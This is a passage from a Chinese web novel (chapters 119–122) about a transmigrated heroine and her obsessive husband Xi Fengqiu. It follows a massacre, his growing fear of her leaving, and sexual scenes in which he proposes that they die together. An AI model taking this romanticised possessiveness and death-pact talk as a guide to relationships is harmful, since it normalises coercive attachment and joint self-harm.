话没说完,奚逢秋礼貌道了声“多谢”,抬脚离开此处,指尖一颤,身后之人的身躯立即四分五裂。 跟着引路的白鹤,奚逢秋很快找到李大人,只是他身边也有人保护。 可再多的杀手也不过螳臂挡车。 他不愿浪费时间与他们周旋。 不过须臾,胜负已分。 待身边可依靠之人皆被屠尽,饶是一直处于疯癫状态的李大人也回了神。 他佝偻着腰跪在地上,哭诉讲述自己的罪过,说他不该听信什么蛊术,觉得只要收集与妻子享受的五官就能复活她。 一副虔诚认错的样子。 “错?” 少年垂眼望着匍匐在他脚下的,表情始终淡淡,血迹贱上微微扬起的唇瓣,令他看上去更像一只嗜血的怪物。 “那这么说,我该放了你,是吗?” 虽然李大人不认为他会大发慈悲地放过自己,但刚才死的那些江湖上的亡命之徒,而他可是朝廷命官,若是命丧于此,他断然不会安然无事。 可他猜错了。 奚逢秋连自身性命都可随意舍弃,又怎会在乎他人生死。 “你的死活对我来说没什么区别,可你不该伤她的。” 就在他抬指的瞬间,少女清脆的声音兀自闯入耳畔。 “奚逢秋?” 池镜花提起裙摆,跨过残尸,飞奔到他身边,攥紧他滚烫黏湿的手指,因伤势未痊愈,正张着口微微喘息。 “先别杀他。” 并非她圣母心发作,若李大人一死,原著剧情肯定要跑偏,指不定要出什么乱子。 可不能再最后关头让这类事情发生。 少年动作一顿神情一滞,半晌后,他瞳孔微转,僵硬且不解地歪了歪脑袋。 “不……杀他?” 察觉到他不大正常的情绪涌动,池镜花毫不犹豫地抱住他,侧脸贴着他的心口,倾听他不大正常剧烈心跳声。 “奚逢秋,我没事,别管他了,我们快点回家吧。” 在池镜花的安抚下,他的情绪才慢慢稳定,黑睫一垂,却不怎么说话。 池镜花暂时没发现他的不对劲之处。 不过,在拉他离开李府之时,池镜花望着满地的尸骨,惊觉李府除了李大人该不会全被他杀干净了吧。 跑。 得在旁人发现之前赶紧跑。 不过他们这样满身血迹地穿过繁华街道还是太过显眼,一时间,无数人路人目光皆停留在二人身上。 避无可避。 等一回到郊区的家,池镜花立刻将门窗紧锁,仿佛这样可以让她自欺欺人似的稍觉安心。 房间里打斗的痕迹已被清理干净。 池镜花看见少年失魂落魄地站在门口,来不及处理自身伤口,她拉他坐下,伸手按在他的领口,想要脱下他的血衣。 奚逢秋仰面看他,湿漉漉的眼睫颤了颤,宛若一只淋了水的可怜小鹿。 “为什么?” 他的声音虽低而且微微发颤,但发音清晰,可池镜花并未明白他的话中之意。 “什么为什么?” 奚逢秋慢慢垂下长睫,视线由上及下,定在少女 受伤的手腕处。 他轻轻牵住她的手指,缓慢撩开她的衣袖。 青紫色的血管旁,匕首刺进的伤口虽已不再流血,可却留下个难以弥补的窟窿。 他以指腹轻轻地触了触那血肉模糊的伤口。 依旧温暖。 他无意识想要继续深入她的血肉内里探索,却发觉池镜花的呼吸逐渐粗重。 他似乎又弄疼了她。 可他真的不知道该怎么做才能让她满意…… 奚逢秋一用力,把她拉到自己怀里,一手按住她的腰侧,习惯性地让她坐在自己腿上。 “奚逢秋?” 池镜花不明白他怎么了。 少年抬眸,眨着湿润的睫,委屈巴巴地望着她,声音夹带哭腔。 “为什么?为什么你总要在我面前护着别人?我们不是夫妻吗?你喜欢的人是我,不是吗?” 先是吴清泽,后又是李大人,若有两人同时出现,他似乎永远都是不被选择的那个。 那对池镜花来说,他到底是什么呢? 她可以答应与他成亲,可以无所忌惮地亲他抱他,可以满足他无度的日夜索求…… 可以说,他们一同做尽了这世间男女间最亲密的事情。 即便如此,他却不能完全拥有她,令她的视线、呼吸、心跳……只为他一人存在。 不仅如此,他还要被迫接受她可能随时离去的事实。 如同生吞下一颗夏日野果,在胸腔里轰然炸裂,无尽酸涩在胸口蔓延。 他觉得自己已成妒夫,平等地嫉妒着出现在她眼里的任何人。 只有他们都死了才好。 “池镜花,我爱你,可是你为什么不能只爱我一个人?” 少年哭腔更甚,眼尾泛红,眼眶湿润,眼底漫上一层薄雾,透明的泪水混着脸颊的血水,滴在池镜花手背处。 “哎?你先别哭啊。” 见他这般,池镜花一下子慌了神,一边手忙脚乱地替他擦眼泪,一边忙于替自己澄清。 “你听我说,我真的只爱你一个人,我不让你杀李大人,只是不想让事情复杂化,他死了,我们都会惹上大麻烦的!” 奚逢秋却根本听不进她说的话,他只觉得自己必须做点什么。 少年握住她受伤的手腕,置于自己的唇前,探出舌尖舔舐她的伤口,轻轻地,将温暖的血珠卷入口中。 不知为何,奚逢秋却哭得更厉害了,喉咙里溢出的破碎呻吟,皆为她的姓名。 “池镜花,池镜花,池镜花,池镜花……” 滚烫的泪水一颗颗滑进她的伤口,烫得池镜花几乎想把他推开。 虽然池镜花没有这样做,可她觉得,他舔舐自身伤口吞食血液的行为多多少少过于变态了。 第119章 第119章她为何还是想离开? 一出太阳,堆积多日的冬雪便化得很快。 门口的溪流早已解了冻,白鹤每日在河里撒泼打滚吃自助餐。 岸边杨柳虽仍未冒嫩叶,不过深褐色的树枝已然有绿意。 冬去春来,温度回升,就算待在门口也不会太冷。 池镜花逆光站在门口,指挥奚逢秋将家里的桌椅板凳挪个位置,改变一下家中布局,毕竟一直看着同样的布局挺腻的。 等做完这一切,少年紧挨她而坐,恨不得自己时刻与她黏在一起,仿佛只要离她稍远一点,就会血条掉光活不下去。 池镜花同样靠在他身上。 他取出金疮药,在池镜花跟前慢慢摊开五指。 “手。” 池镜花“哦”了声,乖乖将手搭在他掌心,任由他将自己衣袖撩开,露出手腕尚未痊愈的醒目伤口。 他以指腹沾取药膏,轻轻涂抹在她的伤口。 药膏很凉,可伤口的肌肤在他指下逐渐生热发痒,但要比他舔舐伤口的滋味好受点。 池镜花回想起以前都是自己帮他上药,但最近几次已然角色互换。 他总在全心全意照顾她的衣食起居,满足她的一切期待与要求。 没人跟他说过究竟应该如何取悦妻子,但他本能地就这样做了。 池镜花蓦然想起,前几日他边哭边舔舐自己伤口的举动。 伤心又可怜,但哭得特别好看。 池镜花不由抚上他的精致漂亮的眉眼,指尖细细描摹眉骨形状。 嗯,她的夫君,不仅贤惠而且貌美,简直世间难求。 念及此,池镜花虚荣心莫名得到满足,她不由仰面,在他的眼上极轻地亲了一下。 感受到面颊的湿热,奚逢秋指尖一顿,眼睫颤了几颤,待气息逐渐离去才慢慢抬眸看她。 阳光斜落进他眼底,宛若缀在星辰里的一缕耀眼光芒。 他一错不错地凝视着她,指尖按了按她的唇瓣,眉眼间浮现一抹笑。 “为何突然亲我?” 池镜花被问得不大好意思,索性直接钻进他怀里,搂着他的脖子,看不到他的脸反而心安理得起来,连仅存的羞耻心也抛弃了。 “没有为什么?夫妻之间,想亲就亲了!” “嗯,知道了。” 奚逢秋没再多言,温柔地笑了笑,替她将凌乱的发丝捋至身后。 池镜花仰头盯着他看,思绪不知不觉飘回前几日。 她又想起那日在李大人府中发生的事情。 奇怪的是,他们在尚书府中捅出那么大的篓子,这么多天过去了,居然没人找过他们麻烦。 后来,他们也曾去街上打探,但这件事似乎半点风声都未曾透露。 像是有谁故意把这件事给压下去了。 能做到这种地步的,身份背景想必不简单。 那这个人究竟是出于好意保全他们,还是不想让李大人的丑事闹得满城风雨呢? 比起前者,还是后者更令人信服。 只是池镜花做梦也没想到,原著中的李大人竟然还有复活亡妻的想法。 其实,若不是她身穿进来,而且与李大人的亡妻有几分相似,倒也不会发生这种事。 奚逢秋也就不必因她闯进李府,杀那么多人。 不管那些人有多该死,池镜花对他,总是莫名地有一种负罪感。 她双手攀上他的脖颈,用力够上他的唇角,闭上眼睛,轻轻地吻了吻他的唇,声音颤颤。 “对不起……” 少年垂眸望她,十指捧着她的双颊,指腹轻轻摩挲她温暖的肌肤,额头亲昵抵着她的,清冽悦耳的嗓音轻易穿透她的耳膜。 “为你所做,皆我自愿,任何伤害你、试图把你从我身边抢走的人,都该死。” 而他唯一的心愿只有:祈求她能够垂怜他,一直待在他身边,不要离开他。 池镜花大概猜出他的真实想法,却给不出他想要的任何积极回应,只含糊其辞地应了声,便靠在他怀里不出声了。 彼时阳光正好,照在身上暖洋洋的,微风不疾不徐地卷起二人交叠的衣袂。 奚逢秋在看她。 他抱着她,隔着衣裳感受到她偏高的体温,听见她的心跳,闻见到她的呼吸。 分明是在他触手可及的地方,可却又好像很遥远。 少年慢慢俯身低头,探出指尖碰了碰她的眉心。 池镜花额间一凉,打了个冷颤,正想问他做什么,不想对方的指尖还在继续缓慢下移,眼神里不含任何杂质,似乎想把她的五官样貌永远印在眼底。 知道他在想什么的池镜花无奈叹口气,发现他对她离去的恐惧是与日俱增的,不管她如何保证她会回来的都不行,只要与她分离,哪怕片刻,也会陷入无助与不安。 说来倒也奇怪,自好感度突飞猛进到99以后,就没再动过了,就算她询问系统,得到的回复居然是:少个契机。 若搁以前,她定要打破砂锅问到底,追问出这个“契机”究竟是什么,虽然池镜花现在依旧好奇,却不准备问了。 因为与他独处的安逸日子本就难得,她自私地希望能再多些。 思索间,面颊时不时传来的痒意拉扯回她的思绪。 池镜花望着他眼底涌动某种情愫,捉住他的手指,声音有些闷地安抚 他:“别这样,我还没走呢。” 奚逢秋淡淡垂眸,声音很低,语气里透着数不尽的委屈,夹杂几分疑惑。 “这里不是你的家吗?为何不能永远留下?” 这里当然是她的家,池镜花从未否认过这点,可问题在于,生养她的父母同样重要,她总不能因自己喜欢奚逢秋想要与他永远在一起,就脑子一热承诺永远留在他身边。 明知做不到的事情,她不愿予他希望,又令他绝望。 池镜花欲转移话题,不料此时一阵喊门声响起。 “请问这里是池姑娘跟奚公子的住处吗?” 听声音像赵星澜。 池镜花找到逃离的借口,赶紧让找星澜进屋,安排他坐下,给他倒水,总算暂时把这话题给盖过去了。 她微微偏头看向赵道长。 一个冬日未见,男主除了起色更好,看上去和之前没什么不同,就是十分疑惑他是如何找到这里的。 “对了,赵道长,你怎么知道我们住在这里啊?” 赵星澜低头喝了口茶水,如实道:“是李大人告诉我的。” 他表情极为淡定,看样子是不知道前阵子李大人府上发生的事情。 这样也好,省的事情越闹越大。 说着,赵星澜似想起什么,取出事先准备好的贺礼,满脸笑意地道:“对了,听闻你们二人前段日子成了亲,我还没来得及给你们道贺呢。” 池镜花接过贺礼,发现是由红绳手工编织的同心结,寓意“永结同心”。 她礼貌道了声“谢谢”。 赵醒来笑笑又喝茶,心中颇为感慨,没料到他们之间发展这么快,一个冬天不见,二人竟已合籍成婚。 想想也是,早在落雪山庄,他们二人离心意互通便只差最后一步,待窗户纸捅破,成亲不过水到渠成的事情。 池镜花又问赵星澜今后打算。 赵星澜神色自若地回道:“京城事已了,赵某正计划回齐云山,所以此次前来一是向二位到喜,二是跟二位道个别。” 他能这般讲,就说明后面的剧情没跑偏,他顺利完成了自己的剧情。 池镜花甚是欣慰,这样她就再也不用担心原著剧情跑偏。 拉了几句家常,赵星澜见快到午间,说要在下午之前离开京城,临走前,他看了眼池镜花,支支吾吾半天才说了句完整的话。 “池姑娘,赵某有几句话想单独与你说。” 嗯? 池镜花下意识看向奚逢秋,发现他正撑脸凝望自己。 四目相对的瞬间,少年弯起双眸,神色温和地笑了笑,轻声道了句:“没关系的。” 看似云淡风轻,实则醋味都快翻上天了。 还装大度呢! 池镜花望了眼站在门口的等他的赵星澜,仗着赵星澜看不见他们,迅速地弯腰低头,在少年脸颊上亲了一口。 “等我一下,很快的。” 望着少女逐渐远离的淡蓝背影,奚逢秋唇角弧度渐起。 似乎总是如此,他的情绪总被池镜花轻而易举地影响,哪怕她只做了一件微不足道的事情。 池镜花对此毫无察觉,她正在站在门口等赵星澜跟她开口说话。 赵星澜认为自己不是好管闲事之人,可他好歹跟池镜花也称得上“朋友”,心里有话憋着不说,对他们两人都没益处。 “池姑娘,奚公子……你真的了解过他吗?” 池镜花没想到赵星澜要跟她说的是这个,似乎之前在金德镇女主就提醒过她这件事。 不愧是男女主,着实有默契。 池镜花眼神坚定地不停点头,道:“嗯,了解,在了解过他以后,我依旧喜欢他。” 见状,赵星澜不好再说什么,即便他觉得奚逢秋身份疑点重重,可他总不能狠心拆散有情人。 见状,赵星澜也不再多言,借口赶时间回齐云山离开此处。 池镜花微微一怔,“哦”了一声。 望着男主渐行渐远的背影,她想到了原著结局。 在男主带着纪望慕回到齐云山,面见师父得到师父的祝福以后,他们的故事也就进入尾声。 她之所以对结局印象深刻,无非结局没有落入俗套,让女主变回人才能与男主在一起,而是一人一鬼打破世俗偏见与桎梏,永远在一起。 池镜花如是回想着转过身,发觉奚逢秋已站到她面前,看样子已经观察她许久,表情虽然没什么变化,可微微发颤的长睫却出卖了他极度没有安全感内心。 “为何想回去?” 他能够明显感受到,在赵星澜提到回齐云山时,池镜花的情绪变化。 ——她想走。 他可以做她的丈夫、朋友、亲人……挤满她身边的所有位置。 即便如此,她为何还是想离开? 不是因为系统的强制,而是离开本就是她自身的想法和打算。 第120章 第120章要跟我一起死吗? “为什么?为何还会想回去?” 奚逢秋紧紧地拥她入怀,额头轻轻抵在她的肩上,唇瓣轻启,反复询问她为何还会产生离开的想法。 他原以为,池镜花只是受所谓的系统胁迫,完成任务后不得不返回她的世界,可事实并非如此,她想回去完全出于自身意志。 这叫他更难以接受。 “还是说,你不再需要我了吗?” 不仅声音,连他躯体都在无助地发颤。 “不是这样的。”池镜花立即反驳:“我需要你,任何时候都需要你!” 虽然他性格偏执病态,可每一个点都长在了池镜花的审美上,而且,正因为他的这些古怪特质,让他比这世上的任何一个人都要爱她包容她。 而他的感情,永远只会做加法。 如果可以,池镜花一定会选择长伴他左右,可事实不允许她过度沉溺于美好的幻想中。 奚逢秋抱得更紧,声音更低:“那跟我在一起,不开心吗?” 池镜花不停摇头,“没有,很开心。” 听见她的回答,奚逢秋彻底迷茫不知所措,他眼眶微红地凝视他,朦胧的雾气盈满眼底,一副快要哭出来的模样。 “我不明白,池镜花,我真的不明白,既然你需要我,又没有不高兴,那为何还会想要离开……” 见他这般痛苦无解,池镜花的心脏仿佛揪在一起。 她双手轻轻按住他的脸颊,神情严肃而坚定地许下承诺。 “奚逢秋,你听我说,我要回去是因为我还有父母亲人,他们在等我,所以我不可能一直留在此处,但是你放心,我一定会回来找你的。” “什么时候?” 猛然,奚逢秋兀自截断她的话头,他盯住她的双眸,试图在她的瞳孔深处寻找自己的身影,既清晰又模糊。 他看着少女眸中颤动的影子,重复一遍问题。 “什么时候回来找我?” 池镜花抿唇不语。 虽然她无比确定自己一定可以通过时空局再回来,但具体时间却未可知。 所以她无法回答他。 奚逢秋静静望着她,想到池镜花口中的“父母亲人”,意识到她是因他们而要离开他。 毫无疑问,她又骗他了。 不管池镜花强调过多少次他为独一无二,可实际上,他并非她的唯一。 同样,池镜花也没有完全属于他。 奚逢秋探出食指,隔着衣裳,指尖指向她的心脏位置。 “这里,不是只有我一个人,对吗?” 池镜花心间一颤,虽然不曾察觉到危险降临,可总觉得她的血肉已被剖开,那颗跳动的整颗心脏完全摆在他跟前。 在情爱方面,池镜花绝对只有他一人,可她明白,奚逢秋要的远不止情爱,他要她的生活生命里只出现他一个人,要自己完完全全属于他。 跟在这种强大的占有欲身后的是他自始至终的下位者姿态。 他早把自己放在从属的位置,强调他属于池镜花,以取悦、祈求她的全身心的爱。 得到她沉默回复的奚逢秋忽地笑了。 他牵起池镜花的手,指腹轻轻抚过手链,先前凝在眉间的阴霾一扫而光,声音里透着无尽的眷恋。 “这个,要一直戴着啊。” 望着由他骨血制成的手链,池镜花以为又是他的占有欲在作怪,几乎毫不犹豫地点了点头。 见状,奚逢秋没再说什么,便自动跳过“离开”话题,不知怎地,他就自己哄好了自己。 可同样地,他变得比以往更黏人,还总追问她在现代发生的事情,从她出生开始讲起,大多关于她小时候在农村和爷爷奶奶发生的事情。 过几日,屋外头便多出个鸡舍,里面养了几只刚破壳不久的鸡崽子。 他还牵回了一条狗。 不仅如此,他还特地挑了个风和日煦的好天气,把门口的湿土翻了一遍,播 上种子。 午后的温暖日光投在他微微颤动的睫羽上,他垂眸望着池镜花,指尖挑起她的一缕发丝,笑得如沐春风。 “像吗?” 池镜花当然明白他在询问自己,这里是否像极了承载她美好记忆的家。 “嗯,像,这里也是我的家,我答应你,一定会回来的。” 虽在谈及最为敏感话题,可奚逢秋表情却极为平静。 就像变了个人似的。 池镜花却觉得并非如此,或许,他正在酝酿别的事。 为了让他接受她迟早有天会完成任务离开的事实,池镜花决定做点什么。 她开始尝试给他留信,给予他支撑下去的动力。 但是不行。 在浪费了许多笔墨纸张后,池镜花写出的字丑到压根没有让人往下读的欲望。 唯有简笔画勉强能看。 将他们相处的点点滴滴,以图画的方式记录下来。 虽然在她离开后,奚逢秋会很长一段时间见不到她人,但通过画册,将他们的过往回忆印在纸上也不错。 于是,在接下来几天时间,趁着奚逢秋白日忙于家务,池镜花大门不出二门不迈,只专心地伏案做着自己的工作。 结果有好几次差点暴露。 但都被池镜花打个马虎眼糊弄过去了。 而她转移他注意力的方式,永远都是指挥他做这做那,意在让他忙起来。 屡试不爽。 虽然池镜花觉得大概率是他在迁就自己,但他什么也没说,只轻轻抚着她的发丝,俯身吻了吻她的唇角。 池镜花仰头踮起脚尖,十指勾住他的脖颈,以便让他更好地亲近自己。 他浅尝辄止地舔舐过少女柔软温热的唇瓣,停下,眼眸微微睁开,视线落在她微微泛红的脸颊。 见他未有下一步的动作,池镜花睁开水润的眸子,疑惑地与他对视。 “怎么了?” 他微凉的指腹抚上池镜花殷红的唇,唇角扬起一丝浅淡的笑。 “只是突然想起你第一次亲我发生的事情。” 池镜花记起,在金德镇第一次亲他是为了获取他的好感度。 奇怪的是,他毫无反抗之意。 这其实表明他内心深处渴望这样的肢体接触。 可从未有人不带任何恶意地靠近过他。 或许,这也是池镜花能够成功攻略他的原因之一。 思考间,池镜花只觉唇上力气一重。 奚逢秋轻轻用力按了按,他凝望着她,眉眼间笑意更深,声音轻轻慢慢的。 “好像比现在要生涩许多。” 池镜花面颊一烫,目不转睛地盯着他,有理有据地回道:“那不是因为第一次嘛,除了你,我又没有亲过别人,而且,这都过去多久了,我也在慢慢学习啊。” 奚逢秋看着他轻笑。 池镜花脸颊发热,干脆把他拖进屋内,把他按在床上,倾身靠近,按住她的双颊,唇瓣挨着他的,胡乱地一顿亲。 根本不在意这么做会有什么后果,只为向他展示这些天与他共同训练的成果。 待力气耗尽,池镜花伏在他胸口,眨了眨水润含眸子,得意地笑问:“怎、怎么样?是不是比以前进步了?” 少年双手撑在身后,仰头微微喘息,情动不已下的喉结轻轻滑动。 他握住她的脚踝,指尖覆上她的腰间,想要解开她的衣衫,索求更亲密的行为。 明白他意图的池镜花立马抓住他正向上游走的手指,瞪他一眼。 “天还没黑呢!” “等会儿就黑了。” 奚逢秋将人按在怀侧,低头吻她的颈侧和心口,轻轻舔吮她的耳垂。 池镜花一下子彻底失了力气,倒在他怀里任由他折腾。 虽然挺舒服享受的,但她并未完全丧失意识。 尤其昏暗朦胧的光线闯入瞳孔,她略一垂眸,匐在她身前陷入情欲的少年,整个人快要烧起来了。 黏糊糊的,湿哒哒的。 池镜花轻轻拽了下他的头发。 奚逢秋不解抬头,唇角甚至于挂着一抹可疑的透明水迹。 池镜花睫羽轻颤,难为情地偏过头,吞吞吐吐地道:“你能不能……熄个灯?” 奚逢秋浮在眼底的疑惑更甚。 他极轻捧住她的面颊,令池镜花的眼里只能瞧得见自己一人。 “为何要熄灯?这样不好吗?我们都能看见彼此。” 池镜花无话可说,她想熄灯只是由于那最后的一丁点儿羞耻心,但在与他四目相对之时,烟消云散了。 她心跳加速地摸向他的唇瓣,擦拭他的水迹,撬开他的牙齿,指尖很快碰到那片柔软与湿热。 “那你别再用这个了……” 虽然她不曾教过他,可在实战经验中,他已无师自通般开发出许多取悦她的新花样。 有时候,真叫她受不住。 奚逢秋在笑,眼底分明流露出的强烈的渴欲,却不染分毫情色之意。 “不舒服吗?” “不是……” 池镜花再次移开视线。 还没想到该如何回答,身体忽然传来异感。 “等——!!” 他没有动,只是呼吸有些粗重,竭力压抑着某种欲望。 “要出去吗?” 池镜花觉得此时此刻的他相当坏心眼。 她只是需要缓冲做好准备,根本不是要他出去的意思。 她双手环住他的脖颈,脸颊贴近他的肌肤,汲取他身上的温度。 “你分明知道我不是这个意思……” 奚逢秋的双臂从她腰后绕过,拖着她的后脑,将她牢牢禁锢在怀里。 他俯身吻她的脸颊,“嗯,你喜欢。” 池镜花闭了闭眼,压根不敢看他。 “别说了……” 他自己不觉得羞耻就算了,还总喜欢温柔地引诱她在这种时候说一些大胆羞涩的话。 偏偏她又抵不住男色诱惑,几乎每次都要被折腾大半宿。 这次恐怕也不例外。 破碎动情的呻吟和低喘不断溢出暖账。 望着少女眼角沁出的动情水光,奚逢秋难以抑制地吻了吻她的半湿的长睫,声音难掩兴奋和愉悦。 “要跟我一起死吗?” 第 121 章【VIP】 第121章 第121章春天来了又走。 烛火摇曳,情潮未褪。 听见奚逢秋的声音,池镜花身体一颤神情一怔。 四周静得出奇,连风也没有,感受着他埋在身体的跳动,池镜花喘息间,睁眼瞧见他湿漉漉的长睫在不停颤动的长睫。 池镜花沉默着回味他的话。 奚逢秋轻轻撩开她贴在额前的湿发,抵住她滚烫的额头,雾气朦胧的眼底闪烁的碎光,不知出于难耐的情欲还是对死亡的期待而兴奋。 他像只猫咪一样讨好地舔舐她的嘴唇,描摹她的唇瓣,毫不掩饰地吐露着由对她的渴求而化成的病态欲望。 “跟我一起死吧,这样,我们就能永远在一起了。” 原来,兜了这么一大圈,还是因为这个。 可哪有人在床上讨论这么可怕的话题,偏偏还是在这不上不下的时候…… 有点折磨人。 池镜花深吸一口气,从情欲浪潮中逐渐恢复理智,开始思考共死方案的可行性。 虽然她完全不觉得奚逢秋会动手请她赴死,可若她要拒绝他的话,奚逢秋虽然不会真的与她置气,但一定会揪着这个问题不放,直到得 到令他满意的答复。 所以,池镜花决定顺着他的话往下说,也想看他究竟会做何反应。 “好。” 她点点头,双手随即攀上他的脖颈,搂住他的同时,让自己贴紧他,直到彼此间再无多余间隙。 本该令他高兴的回答,可奚逢秋却忘情似的发狠撞她一下,无处发泄的哭腔随之而来。 “你总是这样……” 仿佛有种魔力,池镜花总能轻而易举地将他驯服,还会把事情变得朝着她所期待的方向发展。 他虽然喜欢被她掌控,也享受她的主动靠近,可有时候,她却叫让他有种无助感,仿佛她只是一片虚无缥缈的云彩。 永远也握不住。 池镜花被他突如其来的进攻弄得手足无措,她下意识地呻吟出声,推他,想让他慢些轻些,夜还很长,他们有时间慢慢做。 然而下一秒,压在她身上的少年忽然重重地碾过她的唇,撬开他的牙齿,追逐她的唇舌,攫取她的芬芳,根本不让她有开口的机会。 虽是哭着吻她,可身下却愈发地肆无忌惮,每一次,皆盯着她的敏感。 池镜花很快失了最后的神智,又被彻底拖进海浪中,哪怕她颤抖着说“不要了”,也没有停止。 又是闹到天快亮才停下。 池镜花迷迷糊糊地中午才苏醒,可由于夜里太过放纵,身体实在没什么力气,嗓子还有点哑。 一想起昨夜发生的事,池镜花叹了口气,伸手有气无力地推他。 “不要再这样了,很累的。” 他指尖绕着她的发丝,轻轻应了声,剥开她的缭乱的发丝,亲吻她的脸颊,问她想吃什么。 池镜花脑子还很迟钝,一时想不起那些个菜名,只模糊地说了句:“都可以,清淡点的就好。” 说完,她又蒙着被子睡过去了,直到下午才彻底清醒。 池镜花坐在桌前,摸着几近红肿的唇瓣,全身酸疼不止,十分不满瞪了他一眼,欲问他是不是小狗,不然怎么光亲不够还要咬她! 不想没等她问出口,奚逢秋已笑着将饭菜递到她唇边。 池镜花心一下软了。 ……算了,看在他这么贤惠的份上,暂且饶了他这一次。 池镜花配合着他,靠在他肩上,享受他的贴心服务。 午后,在他忙着做家务打理庭院的间隙,池镜花抽空完善了下自己的画册。 在他折返回房,她假装什么也没发生的样子拉他坐在自己身边,靠在他怀里,望着窗外柳树发出的新芽,在风中摇曳,仿佛绽放着无尽的生命力。 池镜花抬了抬头,眨了两下眼睛,笑问:“对了,你生日是什么时候啊?” “生日?” 日光落在他的眼睫,奚逢秋神色不解地垂下眼眸,瞳孔扫过她的五官,停在她的眼上。 “为何突然问这个?” 池镜花表情坦荡回道:“没什么,只是想到我们认识这么久,甚至都结为夫妻了,可我还不知道你的出生日期,有点不太对劲。” 他微微笑着,不疑有他地点头,“嗯,说的也是。” 池镜花神色期待地望着他。 他的指尖绕过池镜花的耳后,捻起她的一缕发丝,一圈圈地绕在食指上,唇畔始终含着温润的笑。 “可我也不清楚所谓生日是哪天,母亲从未跟我说过。” 想想也是,依苗献仪的性格,跟他父亲无关的一切,她从不会放在心上,又怎会耗心思给他过生辰。 池镜花轻咳一声,自顾自地给他做了决定。 “既然你不知道自己的生辰,那从此以后,你的生日就是下个月三号!” 温暖的春风微微卷动少年墨发,他轻轻扬起的头发丝上写满了疑惑。 “为何?” 池镜花脸不红心不跳地说:“因为那天是我的生日。” 奚逢秋反应几秒,眼底浮出一丝湛清的笑意。 “你想与我一起出生吗?” 一起出生? ……那不是乱套了吗? “才不是!” 池镜花诧异地从他怀里挣脱,目光坚定地盯着他的双眼。 “我是想与你一起过生日,不想让你孤单。” 他缺乏的,别人有的,池镜花想全部补偿给他。 他低头蹭了蹭她的唇角,声音缱绻着靡靡暧昧之音。 “有你在,我就不会孤单。” 情话虽然动听,可改变不了池镜花分享生日的决心。 她胡乱地“嗯”了一声,紧紧抱住他,熟练地钻进他怀里,闭眼静静感受春风的吹拂。 奚逢秋垂眸凝视着她,指尖若有似无地拨弄她的眼睫,似想起什么,不由轻笑一声。 “不过,若是能够血脉相连成为这世间最亲密的人,倒也不错。” 池镜花猝然睁眼,掌心抵上她的肩胛,抬头,不可置信地望着他。 “我们现在这样不够亲密吗?” 奚逢秋俯身,鼻尖触碰到她的,有意无意地掠夺她周围的气息。 “不够,池镜花,我想进入你的身体……” 意识到情况不妙的池镜花神色慌张地连忙捂住他的嘴巴,耳尖悄悄染上一抹粉红。 “我觉得你有点过分了,说好了要节制的,昨晚已经放纵地闹了一整夜……不管怎样,反正现在绝对不行!” 经历昨晚一整夜,身体的酸痛还没恢复过来,池镜花断不能再陪他胡闹。 奚逢秋望着她在笑,轻慢地拿下她的手指,握在掌心,唇角的笑意更甚,嗓音如狐狸般透着勾人心弦的诱哄。 “不是那种进入。” 不是那种进入…… 也就是说,她误会了? 池镜花顿时陷入种脚趾扣地的尴尬。 她原以为,一直以来都是奚逢秋在这件事上食髓知味不知满足,到头来,大黄丫头竟是她自己! 尽管想找个地洞钻进去,可她依旧强装镇定地“哦”了一声,耳尖红得滴血,却面不改色地问:“那是什么进入?” 他慢条斯理地道出内心的纵横交错的病态欲望:“将我的鲜血一道道淋在你的白骨上,达到真正意义上的血肉相融。” 池镜花禁不住打了个冷颤,恍然意识到:他的病情压根没有好转,而是偶尔被克制隐藏起来,但当再次发作时只会更加严重。 即便如此,池镜花仍未从他身上感受到任何危险,唯有强烈的不安,如雾缭绕在他四周,不管她做什么,始终无法驱散。 而他所产生的一切偏执的想法和行为,无非想在灰白朦胧的浓雾中死死抓住她的手指,将自己锁在他身边。 池镜花深深叹气,“那是不可能的,除非你杀了我。” “你明知我做不到……” 他捧住她的双颊,颤颤垂下的睫羽很快被泪水打得半湿,他复又抬眸看她,湿漉漉的眼里诉说着无尽的炽热爱意。 “池镜花,我爱你。” 饶是已听过他的无数次的表白,池镜花仍为此动容。 她埋在他的颈窝,每一次的呼吸皆盈满他身上飘来的气息,声音听着闷闷的:“嗯,我知道……” 温柔的日光落在他的脸颊,窗外模糊的树影不疾不徐地游荡在他颈间。 奚逢秋指尖轻柔地抚过她的发丝,唇边扬起一抹淡淡的笑。 “可是池镜花,我还活着啊……” 池镜花一时没反应过来他话中含义,问他是什么意思。 奚逢秋弯了弯眸子,神色平静地道:“无事,只是想让你知道,我还在你面前。” 池镜花回以更紧的拥抱,只为给予他一丝安全感。 “嗯,我也在。” ——至少现在还在。 奚逢秋偏头盯着窗外出神。 他记起当初他们来到这里时正是冰天雪地,连门口的河流都结了冰,小白只能每日望着河下被冻住的鲫鱼望梅止渴。 可眼下,春天却切切实实地来了。 但很快,又要走了。【魔蝎小说 mo xie xs .c om】 第 122 章【VIP】 第122章 第122章母亲。 春节过后,春雨淅沥,一连着下了几天,好不容易放晴时,洒在溪边的青菜种子冒出了芽。 彼时阳光正好,门口清澈的溪水缓缓流淌。 因连续几晚熬夜绘制画册,池镜花翌日几乎很难早醒。 睡梦中,她被一阵尖锐的狗吠声吵醒,醒来往院外一看,远远地,只瞧见河对岸站着个女人,再一眨眼,模糊的人影彻底消失。 担心李大人的事情重演,池镜花瞬间清醒,不由打了个冷颤,忙钻进屋里,将这件事原原本本地仔细告诉奚逢秋。 奚逢秋却笑着抚摸她的发丝,询问她早餐想吃什么。 池镜花完全被她带跑偏,下意识说了个简单早餐,反应过来才知他在转移话题。 她还想接着上个话题继续往下问,奚逢秋却又问道:“明日就是你的生辰,对吗?” 池镜花不知他的想法,呆愣愣地点了点头。 “嗯……对。” 半晌后,池镜花终于意识到问题所 在,双手按住他的脸颊,神情严肃地命令道:“不对,不许转移话题,你到底在想什么!” 少年微微低头,握住她的手指,如争宠的动作一般餍足地蹭她的指腹,语调温柔暧昧。 “想给你准备礼物。” 池镜花指尖一顿,轻咳一声,忙从他手里抽回手指。 “光有礼物还不够,我还要吃好的。” 他又抚上他的脸颊,十分渴望与她的肢体接触。 “嗯,给你做。” 池镜花看着他露出温柔的笑,蓦然记起一件重要的事情。 “对了,今天我们要不要去街上逛逛?已经好久没去了,而且家里好像没肉了。” 奚逢秋望了一眼屋外,回了个“好”。 “那我去换衣服!” 池镜花兴高采烈地翻箱倒柜,找出一套合适的衣裳,换上后,赶紧拉着奚逢秋往街道所在的方向走。 被她随意拖拽着,奚逢秋笑着让她慢点走,反正他们今日的时间还很充裕。 嗯,说的也是。 